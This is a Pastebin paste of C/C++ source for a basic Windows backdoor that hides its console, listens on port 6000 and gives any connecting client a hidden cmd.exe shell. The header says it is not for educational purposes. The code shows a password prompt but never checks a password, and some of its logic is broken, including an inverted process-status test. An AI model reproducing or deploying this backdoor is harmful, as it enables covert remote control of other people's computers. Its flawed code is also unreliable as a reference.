Advertisement
Netikerty

Basic Back Dork

Feb 10th, 2013
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. Basic Backdoor C++
  3. ---------------------- C++ Code -------------------------->
  4.  
  5. /******************************************************************
  6. * Source code from the "Writing a basic backdoor in C" tutorial *
  7. * *
  8. * NOT Written for educational purposes only!! *
  9. * *
  10. * Tested with Dev-C++ 4.9.9.2, should work with other compilers *
  11. * as well. *
  12. * * *
  13. ******************************************************************/
  14.  
  15.  
  16. /*
  17. Don't forget to link winsock32.lib otherwise your compiler won't understand the sockets
  18. */
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <windows.h>
  22. #include <string.h>
  23.  
  24.  
  25. //our variables, we need them globally to use them in all functions
  26. const char welcome[]="Welcome, enter your password please: ";
  27. char bufferin[1024]; //the buffer to read data from socket
  28. char bufferout[65535]; //the buffer to write data to the socket
  29. int i,port; // i is used for loop , port is going to keep the portnumber
  30. SOCKET locsock,remsock; //the sockets we are going to need
  31. SOCKADDR_IN sinloc,sinrem; //the structures needed for our sockets
  32. WSADATA wsadata; //wsadata
  33. STARTUPINFO startinfo; //startupinfo structure for CreateProcess
  34. SECURITY_ATTRIBUTES secat; //security attributes structure needed for CreateProcess
  35. PROCESS_INFORMATION procinfo; //process info struct needed for CreateProcess
  36. int bytesWritten; //number of bytes written gets stored here
  37. DWORD bytesRead,avail,exitcode; //number of bytes read, number of bytes available
  38. //and the exitcode
  39.  
  40.  
  41.  
  42. void CommandPrompt(void); //the function to give the command prompt
  43. int main() //the main function
  44. {
  45. //hide console
  46. FreeConsole();
  47. //set listen port
  48. port=6000;
  49. //tell windows we want to use sockets
  50. WSAStartup(0x101,&wsadata);
  51. //create socket
  52. locsock=socket(AF_INET,SOCK_STREAM,0);
  53.  
  54. //fill structure
  55. sinloc.sin_family=AF_INET;
  56. sinloc.sin_addr.s_addr=INADDR_ANY;
  57. sinloc.sin_port=htons(port);
  58.  
  59.  
  60.  
  61. //bind the socket to the specified port
  62. if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
  63. {
  64. WSACleanup();
  65. printf("Error binding socket.");
  66. return EXIT_FAILURE;
  67. }
  68.  
  69. //listen on the specified socket
  70. if(listen(locsock,5)==SOCKET_ERROR)
  71. {
  72. WSACleanup();
  73. printf("Error listening socket.");
  74. return EXIT_FAILURE;
  75. }
  76.  
  77. //infinite loop here to keep the program listening
  78. while(1)
  79. {
  80. remsock=SOCKET_ERROR;
  81. while(remsock==SOCKET_ERROR)
  82. {
  83. //accept connection to our program
  84. remsock=accept(locsock,NULL,NULL);
  85. if(remsock==INVALID_SOCKET)
  86. {
  87. //cleanup and exit program
  88. WSACleanup();
  89. printf("Error accepting socket.");
  90. return EXIT_FAILURE;
  91. }
  92.  
  93. CommandPrompt(); //start the commandprompt function
  94. }
  95. closesocket(remsock); //close the socket
  96. }
  97. //we should never reach this point, but i've put this hear just in case ;-)
  98. return EXIT_SUCCESS;
  99.  
  100. }
  101.  
  102.  
  103.  
  104. //*************************************************************
  105. void CommandPrompt(void) //the function which handles the complete commandprompt
  106. {
  107. secat.nLength=sizeof(SECURITY_ATTRIBUTES);
  108. secat.bInheritHandle=TRUE;
  109. DWORD bytesW; //number of bytes written gets stored here
  110. HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes
  111. char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'
  112. char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'
  113.  
  114. //create the pipes for our command prompt
  115. CreatePipe(&newstdin,&writein,&secat,0);
  116. CreatePipe(&readout,&newstdout,&secat,0);
  117.  
  118. GetStartupInfo(&startinfo);
  119.  
  120. //fill another structure
  121. startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  122. startinfo.wShowWindow=SW_HIDE;
  123. startinfo.hStdOutput=newstdout;
  124. startinfo.hStdError=newstdout;
  125. startinfo.hStdInput=newstdin;
  126.  
  127. //start cmd prompt
  128. CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);
  129. //endless loop
  130. while(1)
  131. {
  132. //check if cmd.exe is still running, if not then cleanup and start listening again.
  133. if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)
  134. {
  135. CloseHandle(procinfo.hThread);
  136. CloseHandle(procinfo.hProcess);
  137. CloseHandle(newstdin);
  138. CloseHandle(writein);
  139. CloseHandle(readout);
  140. CloseHandle(newstdout);
  141. break;
  142. }
  143. bytesRead=0;
  144. //sleep 0.5 seconds to give cmd.exe the chance to startup
  145. sleep(500);
  146. //check if the pipe already contains something we can write to output
  147. PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
  148. if(bytesRead!=0)
  149. {
  150. while(bytesRead!=0)
  151. { //read data from cmd.exe and send to client, then clear the buffer
  152. ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);
  153. send(remsock,bufferout,strlen(bufferout),0);
  154. ZeroMemory(bufferout,sizeof(bufferout));
  155. sleep(100);
  156. PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
  157. }
  158. }
  159. // clear bufferin
  160. ZeroMemory(bufferin,sizeof(bufferin));
  161. //receive the command given
  162. recv(remsock,bufferin,sizeof(bufferin),0);
  163. //if command is 'exit' or 'EXIT' then we have to capture it to prevent our program
  164. //from hanging.
  165. if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))
  166. {
  167. //let cmd.exe close by giving the command, then go to closeup label
  168. WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
  169. goto closeup;
  170. }
  171. //else write the command to cmd.exe
  172. WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
  173. //clear the bufferin
  174. for(i=0;i<sizeof(bufferin);i++)
  175. {
  176. bufferin[i]=0;
  177. }
  178. }
  179. //close up all handles
  180. closeup:
  181. CloseHandle(procinfo.hThread);
  182. CloseHandle(procinfo.hProcess);
  183. CloseHandle(newstdin);
  184. CloseHandle(writein);
  185. CloseHandle(readout);
  186. CloseHandle(newstdout);
  187. }
  188.  
  189. ----------<------------ C++ Code --------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement